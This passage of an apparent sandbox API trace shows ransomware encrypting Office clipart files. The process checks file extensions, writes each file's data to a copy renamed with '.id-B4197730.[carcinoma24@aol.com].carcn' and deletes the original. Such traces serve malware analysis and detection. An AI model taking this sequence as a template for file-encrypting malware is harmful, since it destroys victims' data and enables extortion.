returned 4 [0294.052] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.052] lstrlenW (lpString=".xlsx") returned 5 [0294.052] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.052] lstrlenW (lpString=".ppt") returned 4 [0294.052] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0294.052] lstrlenW (lpString=".zip") returned 4 [0294.052] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.052] lstrlenW (lpString=".rar") returned 4 [0294.052] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.052] lstrlenW (lpString=".bz2") returned 4 [0294.052] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.052] lstrlenW (lpString=".7z") returned 3 [0294.052] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0294.052] lstrlenW (lpString=".dbf") returned 4 [0294.052] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0294.052] lstrlenW (lpString=".1cd") returned 4 [0294.052] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0294.052] lstrlenW (lpString=".jpg") returned 4 [0294.052] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.052] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0294.052] lstrlenW (lpString="AN01251_.WMF") returned 12 [0294.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0294.053] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=2756) returned 1 [0294.053] CloseHandle (hObject=0x368) returned 1 [0294.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf")) returned 0x220 [0294.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0294.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0294.054] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.054] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0294.062] GetLastError () returned 0x0 [0294.062] ReadFile (in: hFile=0x368, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0xac4, lpOverlapped=0x0) returned 1 [0294.063] WriteFile (in: hFile=0x370, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xad0, lpOverlapped=0x0) returned 1 [0294.064] ReadFile (in: hFile=0x368, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0294.064] WriteFile (in: hFile=0x370, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0294.064] SetEndOfFile (hFile=0x370) returned 1 [0294.072] CloseHandle (hObject=0x370) returned 1 [0294.072] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.072] SetEndOfFile (hFile=0x368) returned 1 [0294.073] CloseHandle (hObject=0x368) returned 1 [0294.073] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0294.073] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf")) returned 1 [0294.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0294.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0294.074] lstrlenW (lpString=".doc") returned 4 [0294.074] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.074] lstrlenW (lpString=".docx") returned 5 [0294.074] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.074] lstrlenW (lpString=".pdf") returned 4 [0294.074] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.074] lstrlenW (lpString=".xls") returned 4 [0294.074] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.074] lstrlenW (lpString=".xlsx") returned 5 [0294.074] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.074] lstrlenW (lpString=".ppt") returned 4 [0294.074] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0294.074] lstrlenW (lpString=".zip") returned 4 [0294.074] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.074] lstrlenW (lpString=".rar") returned 4 [0294.075] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.075] lstrlenW (lpString=".bz2") returned 4 [0294.075] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.075] lstrlenW (lpString=".7z") returned 3 [0294.075] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0294.075] lstrlenW (lpString=".dbf") returned 4 [0294.075] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0294.075] lstrlenW (lpString=".1cd") returned 4 [0294.075] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0294.075] lstrlenW (lpString=".jpg") returned 4 [0294.075] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0294.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0294.075] lstrlenW (lpString=".doc") returned 4 [0294.075] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.075] lstrlenW (lpString=".docx") returned 5 [0294.075] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.075] lstrlenW (lpString=".pdf") returned 4 [0294.075] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.075] lstrlenW (lpString=".xls") returned 4 [0294.075] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.075] lstrlenW (lpString=".xlsx") returned 5 [0294.075] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.075] lstrlenW (lpString=".ppt") returned 4 [0294.075] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0294.076] lstrlenW (lpString=".zip") returned 4 [0294.076] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.076] lstrlenW (lpString=".rar") returned 4 [0294.076] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.076] lstrlenW (lpString=".bz2") returned 4 [0294.076] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.076] lstrlenW (lpString=".7z") returned 3 [0294.076] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0294.076] lstrlenW (lpString=".dbf") returned 4 [0294.076] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0294.076] lstrlenW (lpString=".1cd") returned 4 [0294.076] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0294.076] lstrlenW (lpString=".jpg") returned 4 [0294.076] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.565] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0294.565] lstrlenW (lpString="AN01545_.WMF") returned 12 [0294.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0294.566] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=7372) returned 1 [0294.566] CloseHandle (hObject=0x364) returned 1 [0294.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf")) returned 0x220 [0294.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0294.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0294.566] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.566] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0294.567] GetLastError () returned 0x0 [0294.567] ReadFile (in: hFile=0x364, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x1ccc, lpOverlapped=0x0) returned 1 [0294.568] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x1cd0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x1cd0, lpOverlapped=0x0) returned 1 [0294.569] ReadFile (in: hFile=0x364, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0294.569] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0294.570] SetEndOfFile (hFile=0x340) returned 1 [0294.570] CloseHandle (hObject=0x340) returned 1 [0294.570] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.570] SetEndOfFile (hFile=0x364) returned 1 [0294.571] CloseHandle (hObject=0x364) returned 1 [0294.571] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0294.571] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf")) returned 1 [0294.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0294.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0294.572] lstrlenW (lpString=".doc") returned 4 [0294.572] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.572] lstrlenW (lpString=".docx") returned 5 [0294.572] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.572] lstrlenW (lpString=".pdf") returned 4 [0294.572] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.572] lstrlenW (lpString=".xls") returned 4 [0294.572] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.572] lstrlenW (lpString=".xlsx") returned 5 [0294.572] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.572] lstrlenW (lpString=".ppt") returned 4 [0294.573] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0294.573] lstrlenW (lpString=".zip") returned 4 [0294.573] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.573] lstrlenW (lpString=".rar") returned 4 [0294.573] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.573] lstrlenW (lpString=".bz2") returned 4 [0294.573] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.573] lstrlenW (lpString=".7z") returned 3 [0294.573] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0294.573] lstrlenW (lpString=".dbf") returned 4 [0294.573] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0294.573] lstrlenW (lpString=".1cd") returned 4 [0294.573] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0294.573] lstrlenW (lpString=".jpg") returned 4 [0294.573] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0294.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0294.573] lstrlenW (lpString=".doc") returned 4 [0294.573] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.573] lstrlenW (lpString=".docx") returned 5 [0294.573] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.573] lstrlenW (lpString=".pdf") returned 4 [0294.573] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.573] lstrlenW (lpString=".xls") returned 4 [0294.574] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.574] lstrlenW (lpString=".xlsx") returned 5 [0294.574] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.574] lstrlenW (lpString=".ppt") returned 4 [0294.574] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0294.574] lstrlenW (lpString=".zip") returned 4 [0294.574] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.574] lstrlenW (lpString=".rar") returned 4 [0294.574] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.574] lstrlenW (lpString=".bz2") returned 4 [0294.574] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.574] lstrlenW (lpString=".7z") returned 3 [0294.574] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0294.574] lstrlenW (lpString=".dbf") returned 4 [0294.574] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0294.574] lstrlenW (lpString=".1cd") returned 4 [0294.574] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0294.574] lstrlenW (lpString=".jpg") returned 4 [0294.574] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.574] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0294.575] lstrlenW (lpString="AN02122_.WMF") returned 12 [0294.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0294.575] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=7540) returned 1 [0294.575] CloseHandle (hObject=0x364) returned 1 [0294.575] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf")) returned 0x220 [0294.575] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0294.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0294.576] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.576] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0294.576] GetLastError () returned 0x0 [0294.576] ReadFile (in: hFile=0x364, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x1d74, lpOverlapped=0x0) returned 1 [0294.577] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x1d80, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x1d80, lpOverlapped=0x0) returned 1 [0294.579] ReadFile (in: hFile=0x364, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0294.579] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0294.579] SetEndOfFile (hFile=0x340) returned 1 [0294.579] CloseHandle (hObject=0x340) returned 1 [0294.579] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.579] SetEndOfFile (hFile=0x364) returned 1 [0294.580] CloseHandle (hObject=0x364) returned 1 [0294.580] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0294.581] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf")) returned 1 [0294.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0294.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0294.581] lstrlenW (lpString=".doc") returned 4 [0294.581] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.581] lstrlenW (lpString=".docx") returned 5 [0294.581] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.581] lstrlenW (lpString=".pdf") returned 4 [0294.581] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.581] lstrlenW (lpString=".xls") returned 4 [0294.581] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.581] lstrlenW (lpString=".xlsx") returned 5 [0294.581] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.581] lstrlenW (lpString=".ppt") returned 4 [0294.582] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0294.582] lstrlenW (lpString=".zip") returned 4 [0294.582] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.582] lstrlenW (lpString=".rar") returned 4 [0294.582] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.582] lstrlenW (lpString=".bz2") returned 4 [0294.582] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.582] lstrlenW (lpString=".7z") returned 3 [0294.582] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0294.582] lstrlenW (lpString=".dbf") returned 4 [0294.582] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0294.582] lstrlenW (lpString=".1cd") returned 4 [0294.582] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0294.582] lstrlenW (lpString=".jpg") returned 4 [0294.582] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0294.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0294.582] lstrlenW (lpString=".doc") returned 4 [0294.582] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.582] lstrlenW (lpString=".docx") returned 5 [0294.582] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.582] lstrlenW (lpString=".pdf") returned 4 [0294.582] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.582] lstrlenW (lpString=".xls") returned 4 [0294.583] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.583] lstrlenW (lpString=".xlsx") returned 5 [0294.583] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.583] lstrlenW (lpString=".ppt") returned 4 [0294.583] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0294.583] lstrlenW (lpString=".zip") returned 4 